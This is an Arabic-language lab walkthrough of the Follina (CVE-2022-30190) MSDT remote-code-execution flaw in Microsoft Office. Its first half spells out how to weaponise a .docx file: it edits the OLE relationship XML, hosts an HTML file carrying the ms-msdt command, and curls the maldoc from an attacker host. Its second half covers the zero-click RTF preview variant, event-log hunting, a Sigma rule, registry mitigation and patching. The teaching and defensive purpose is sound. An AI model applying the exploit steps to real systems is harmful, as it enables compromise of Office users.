
استغلال تعليمي لـ CVE-2022-30190 (Follina) يوضح تنفيذ التعليمات البرمجية عن بعد لـ MSDT عبر مستندات Office ضارة، مع إرشادات الكشف والتخفيف.
تشرح Microsoft أن "ثغرة تنفيذ التعليمات البرمجية عن بُعد موجودة عند استدعاء MSDT باستخدام بروتوكول URL من تطبيق مُتصل مثل Word. يمكن للمهاجم الذي يستغل هذه الثغرة بنجاح تشغيل تعليمات برمجية عشوائية بصلاحيات التطبيق المُتصل. يمكن للمهاجم بعد ذلك تثبيت البرامج، أو عرض البيانات أو تغييرها أو حذفها، أو إنشاء حسابات جديدة في السياق المسموح به بموجب حقوق المستخدم". (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
تذكر Microsoft أن "أداة تشخيص الدعم من Microsoft (MSDT) تجمع المعلومات لإرسالها إلى دعم Microsoft. سيقومون بعد ذلك بتحليل هذه المعلومات واستخدامها لتحديد الحل لأي مشاكل قد تواجهها على جهاز الكمبيوتر الخاص بك". مع أخذ ذلك في الاعتبار، فهي في الأساس وسيلة لدعم Microsoft لرؤية المشكلة فورًا حيث يحصلون على جميع المعلومات التي يحتاجونها مباشرة من المصدر.
شرح الاستغلال
لنبدأ بإخلاء مسؤولية: لأغراضنا، سوف نقوم بتحميل الحمولة عبر مستند Word، وتحديدًا بصيغة .docx - هذا هو الاستغلال الأصلي الذي تم اكتشافه في البرية. ومع ذلك، فقد ثبت أن هذه الثغرة تعمل في عدد من منتجات Office الأخرى.
جانبان مهمان من هذه الثغرة هما: 1 - تحتوي ملفات docx محددة على مراجع كائنات OLE (اختصار Object Linking and Embedding أصلاً)، وأحيانًا تأخذ شكل ملفات HTML مستضافة في مكان آخر. 2 - يسمح MS-MSDT بتنفيذ التعليمات البرمجية.
بدمج الجانبين أعلاه، يمكن استخدام مخطط HTML لـ MS-MSDT لتنفيذ تعليمات PowerShell البرمجية، ويمكن استخدام ملف docx لتحميله عبر قدرة الإشارة الخارجية في Word.
بتفصيل أكثر، عند التعمق في بنية docx، يحتوي ملف "word/_rels/document.xml.rels" على علامة XML مع سمة Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" التي تصف مرجع كائن OLE خارجي. لاستغلال ميزة docx هذه، يمكننا تعديل محتويات هذه العلامة للإشارة بدلاً من ذلك إلى الحمولة التي نستضيفها عن طريق تغيير قيمة Target إلى http://<external_payload_server.com>/<payload.html> وقيمة TargetMode إلى "External".
في ملف word/document.xml، توجد علامة XML تبدأ بـ <o:OLEObject...> حيث يجب تغيير قيمة Type إلى "Link" ثم إضافة زوج المفتاح والقيمة للسمة UpdateMode="OnCall".
الشيء الوحيد المتبقي الآن هو استضافة الحمولة التي سيتصل بها ملف Word ويتلقى التعليمات منها عند فتح الملف. يتم ذلك عن طريق إنشاء ملف HTML ببنية مشابهة للتالي:
في محتويات ملف HTML أعلاه، ستلاحظ الأمر ms-msdt:/id PCWDiagnostic /skip force /param، بالإضافة إلى مفاتيح الأوامر التي يمكنك استخدامها لتعيين الأمر الذي تريد تنفيذه على الجهاز الهدف. يمكنك بعد ذلك مزج ومطابقة الحمولة وفقًا لأغراضك.
وبالتالي، لدينا الآن طريقة لتحقيق تنفيذ التعليمات البرمجية عن بُعد دون لمس أي وحدات ماكرو، وكما سنرى لاحقًا، حتى بدون فتح المستند الضار.
تركيز الاستغلال المتاح للجمهور (https://github.com/JohnHammond/msdt-follina) أنشأ John Hammond أداة لأتمتة عملية إنشاء مستند ضار (maldoc) وبالتالي استضافة ملف HTML الضار الذي يحتوي على الأمر الخبيث. الأداة موثقة في الرابط أعلاه، وسنستخدم نسخة متفرعة منها لفهم مفهوم الاستغلال الذي تم تناوله سابقًا بشكل أكبر.
افتح محطة طرفية، استنسخ هذا المستودع وقم بتغيير دليل العمل الخاص بك إلى حيث تم استنساخ مستودع msdt-follina. root@host:~/Follina-MSDT# python3 follina.py
عند تشغيل الاستغلال، يجب أن تكون قد قمت بالفعل باستضافة الملف، لذا فهو جاهز "للتسليم" إلى جهاز الضحية. مع إبقاء المحطة الطرفية الأصلية مفتوحة، افتح محطة طرفية أخرى وأدخل الأمر التالي لاستضافة الملفات على خادم: root@host:~/Follina-MSDT# python -m http.server 3456
على الجهاز الهدف، تابع لفتح موجه أوامر وأدخل الأمر التالي: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx
يقوم هذا بتنزيل المستند الضار على جهازنا، وبعد ذلك بوقت قصير، يجب أن ترى ملف Word المسمى follina.docx يظهر على سطح المكتب، جاهزًا للتشغيل. عندما تكون مستعدًا، افتح الملف وشاهد ما يحدث. في الوقت الحالي، دعنا نسمح للمستند الضار وكل ما نتج عنه بالاستمرار في العمل.
تنفيذ "النقرة الصفرية"
لتكرار تنفيذ "النقرة الصفرية" لهذه الثغرة، نتوجه ببساطة إلى ملف Word الضار، ونضيف رسالة لطيفة (اختيارية تمامًا)، ونحفظه بتنسيق Rich Text Format (RTF)، ونكون على ما يرام. يفترض هذا التنفيذ أن جهاز الضحية في وضع جزء المعاينة، وإلا فإنه سيعود إلى الوظيفة الأصلية التي ستظل تعمل عند فتح الملف.
افتح مستكشف الملفات وانتقل إلى مجلد سطح المكتب. هناك سترى الملف الذي يبدو صادقًا الذي صنعناه والذي يحتاج إلى النقر، تابع للنقر عليه مرة واحدة مع الحرص على عدم فتحه فعليًا وشاهد ما سيحدث.
على الرغم من عدم فتح الملف فعليًا، فقد عمل الاستغلال بنفس الطريقة التي عمل بها سابقًا في هذا التمرين. حدث هذا بسبب ميزتين رئيسيتين: 1 - ميزة مستكشف الملفات لمعاينة الملفات قبل فتحها. 2 - تنسيق RTF الذي يسمح بميزة إمكانية معاينة ملفات المستندات في مستكشف الملفات قبل فتحها (من بين أغراض أخرى).
دمج الاثنين ثم إساءة استخدامهما سيؤدي إلى ناقل هجوم شهدناه للتو الآن.
الكشف والتخفيف صيد التهديدات:
تم تكوين جهاز Windows الذي استخدمناه لدراسة استغلال الثغرة مسبقًا لتمكين التسجيل لـ:
آليات التدقيق هذه غير مهيأة افتراضيًا، وبالتالي من الضروري تشغيلها في بيئاتك الخاصة للمساعدة في اكتشاف السلوك المشبوه، والمساعدة في الحفاظ على البيانات القيمة متاحة للمحققين الجنائيين.
خلال العملية السابقة، حددنا عددًا من عمليات إنشاء العمليات المثيرة للاهتمام عند استغلال الثغرة. يتم تسجيل عمليات إنشاء العمليات هذه في سجلات أمان Windows، جاهزة للتحليل عبر عارضك المفضل، أو إعادة توجيهها إلى مجمع سجلات مركزي لمعالجتها ثم استخدامها لاحقًا.
لهذه المهمة سنستخدم Event Log Viewer for Windows من Nirsoft للتحقق من عمليات إنشاء العمليات التي حددناها سابقًا. سنبحث بعد ذلك عن التفاصيل داخل عمليات إنشاء العمليات هذه التي يمكننا استخدامها للبحث عن أدلة في سجلات الأحداث الأخرى لشرح أفضل لما حدث خلف الكواليس.
تابع لفتح FullEventLogView. اذهب إلى View > Use Quick Filter. يجب أن يظهر شريط بحث أعلى السجلات مما يسمح لنا بإجراء عمليات بحث سريعة. نظرًا لأننا أردنا التحقق من تفاصيل عمليات إنشاء العمليات لدينا، يمكننا النقر على القائمة المنسدلة في أقصى اليسار واختيار Find Event ID (space/comma...)، ثم كتابة 4688 في شريط البحث المقدم.
يجب أن تملأ الشاشة بأحداث إنشاء العمليات وستلاحظ فورًا وجود عدد هائل منها، على الرغم من التفاعل الضئيل مع الجهاز.
أول قطعة أثرية سنتحقق منها هي winword.exe - فهم تدفق الأحداث من هذه العملية يعطينا فكرة عن كيفية تصرف عملية Office بشكل عام في سياق استغلال msdt. اضغط Ctrl+F لاستدعاء وظيفة البحث واكتب winword.
أول إدخال ستراه على الأرجح هو الإدخال الذي يكون فيه WINWORD.EXE هو العملية الجديدة التي تم إنشاؤها، ويتم تحديدها بواسطة التفصيل: New Process Name. تشير هذه العملية إلى فتح ملف follina.docx، عبر التفصيل: Process Command Line. من الطبيعي تمامًا ألا تبدو متطابقة تمامًا. انقر على زر Find Next حتى تجد إدخالاً يبدو كأمر "ms-msdt" طويل (باورشيل).
هنا سنرى أن WINWORD.EXE هو العملية المنشئة، المعروفة باسم العملية الأصلية لـ msdt.exe. لاحظ إدخال سطر الأوامر الطويل الذي يحتوي على عدة أوامر cmdlets لـ PowerShell (تُنطق command-lets) بالإضافة إلى عدة عمليات تنقل عبر الدلائل. رؤية هذا بمفرده في بيئتك يجب أن يرفع أعلامًا حمراء فورية. إحدى النقاط المجانية التي يمكننا النظر إليها عن كثب هنا هي السلسلة Y2FsYw== التي عند فك تشفيرها ستؤدي إلى السلسلة calc.
نظرًا لأننا رأينا أوامر cmdlets لـ PowerShell، فمن المنطقي تصفية أحداث PowerShell لمزيد من التحقق من هذا الدليل. نظرًا لوجود العديد من معرفات الأحداث الفريدة التي تسجل أحداث PowerShell، يمكننا التصفية عبر Provider. اذهب إلى Options > Advanced Options. انقر على القائمة المنسدلة الثانية واختر Show only the specific providers (comma-delimited...). اكتب PowerShell محاطًا بعلامات البدل (*) بحيث يتم تضمين جميع المزودين المتعلقين بـ PowerShell.
امسح مربع "Quick Filter" الخاص بـ 4688 الذي أدخلناه سابقًا، ويجب أن تملأ الشاشة بالأحداث التي تأتي حصريًا من مزودي PowerShell. من هنا، يمكننا تصفية الأحداث عبر جزء من أمر PowerShell الذي لاحظناه أعلاه.
عند الوصول إلى هذا الحدث، يمكننا إغلاق وظيفة البحث ثم متابعة تتبع نص Scriptblock هذا؛ يمكنك الانتقال إلى الحدث التالي بالضغط على مفتاح السهم لأسفل في لوحة المفاتيح، أو النقر يدويًا على الحدث. استكشاف الأحداث الفورية التي تلي نص Scriptblock هذا سيظهر التنفيذ خطوة بخطوة لـ calc من منظور PowerShell.
توفر قاعدة Sigma: قام Matthew Brennan، مهندس الكشف في Huntress، بإنشاء قاعدة سيجما لاكتشاف عمليات تنفيذ MSDT المشبوهة في البيئة، وأفضل ما في الأمر أنها تستمر في التحديث كلما رصد المجتمع شيئًا جديدًا.
يمكن العثور على قاعدة سيجما هنا (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)
Uncoder.IO (https://uncoder.io/) هي أداة رائعة تساعد في تحويل قواعد سيجما إلى استعلامات يمكن استخدامها فورًا داخل SIEM من اختيارك.
في البحث عن استغلالات MSDT حول البيئة، يمكنك اختيار استخدام قاعدة سيجما كآلية كشف لكل من:
يستخدم MSDT أيضًا ثنائيًا آخر (https://twitter.com/KyleHanslovan/status/1531114931973767168) لتوجيه عمليات التنفيذ، وبالتالي يجب ملاحظة العمليات الفرعية المشبوهة التي يكون هذا الثنائي هو الأصل لها والتحقيق فيها بشكل أكبر. المعلومات "المحذوفة" أعلاه هي إجابة لسؤال في المهمة السابقة - تحقق بنفسك من أي ضرر.
قراءة إضافية: كشف Follina: ثغرة تنفيذ التعليمات البرمجية عن بُعد في Microsoft Office من يوم الصفر (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)
مكافحة الفيروسات / Windows Defender: عدد من منتجات Microsoft Defender لديها آليات كشف في مكانها، ويوفر لنا مركز أمان Microsoft الموثوق (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) قائمة بهذه المنتجات.
المعالجة
يوجد التصحيح لهذه الثغرة في تحديثات Windows التراكمية لشهر يونيو 2022. من الضروري أن يقوم المستخدمون بتثبيت هذه التحديثات ليكونوا محميين من الثغرة. يمكنك القيام بذلك يدويًا من وقت لآخر، وهو أمر غير فعال وعرضة للنسيان، أو يمكنك اختيار أتمتة التحقق من التحديثات وتثبيتها.
تعطيل بروتوكول URL لـ MSDT: قبل تقديم التصحيح، سارعت فرق الأمن إلى مطالبة مسؤولي تكنولوجيا المعلومات في مؤسساتهم بتعطيل بروتوكول URL لـ MSDT فورًا. من خلال تعطيل بروتوكول URL لـ MSDT، لن يتم تشغيل أدوات استكشاف الأخطاء وإصلاحها كروابط، وبالتالي لن يتمكن Office من استدعاء ms-msdt. لتعطيل البروتوكول، قم أولاً بتشغيل موجه أوامر كمسؤول C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt
بحلول الآن، لا بد أنك لاحظت أننا نغير دليل العمل الخاص بنا دائمًا إلى سطح المكتب - وذلك حتى نتمكن من رؤية التغييرات التي تحدثها أوامرنا على البيئة فورًا: إنشاء الملفات ملحوظ إلى حد ما. إنها ليست بأي حال من الأحوال أفضل الممارسات التي يجب اتباعها في أي بيئة.
أمر reg query الأول الذي قدمناه هو فحص سريع لوجود المفتاح. يتبعه أمر reg export الذي يقوم بتصدير مفتاحنا إلى ملف حتى نتمكن من إعادة دمجه في نظامنا لاحقًا عندما تقدم Microsoft إصلاحًا أكثر ديمومة لهذه الثغرة. يتم حفظ الملف الذي تم تصديره في دليل العمل الحالي - في حالتنا على سطح المكتب. أمر reg delete هو الأمر الذي يقوم بالفعل بتعطيل بروتوكول URL لـ MSDT بشكل أساسي لأنه يزيله تمامًا من النظام. الأمر الأخير reg query هو فحص تأكيدي بأن المفتاح لم يعد موجودًا.
بعد تعطيل بروتوكول URL لـ MSDT في جهاز Windows الخاص بنا، دعنا نحاول تشغيل الاستغلال مرة أخرى، ونرى كيف يؤثر على الجهاز. هذه طريقة جيدة للتحقق مما إذا كانت ضوابطنا ستكون قادرة على اكتشاف الهجمات، بغض النظر عما إذا كانت ناجحة أم لا.
تقليل سطح الهجوم (ASR): إذا كنت تستخدم Microsoft Defender for Endpoint في بيئتك، فقم بتمكين قاعدة ASR "منع جميع تطبيقات Office من إنشاء عمليات فرعية" (Block all Office applications from creating child processes). إنشاء عمليات فرعية من خدمات لم يكن من المفترض أن تقوم بذلك هو سمة شائعة بين البرامج الضارة. قراءة إضافية: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)
أخيرًا، تم اختيار اثنين من عمليات المعالجة المباشرة والقابلة للنشر بسهولة كطريقة لاختتام هذا الموضوع؛ أصدرت Microsoft بالفعل تصحيحًا يمنع حقن PowerShell، مما يؤدي إلى تعطيل ناقل الهجوم هذا بشكل فعال.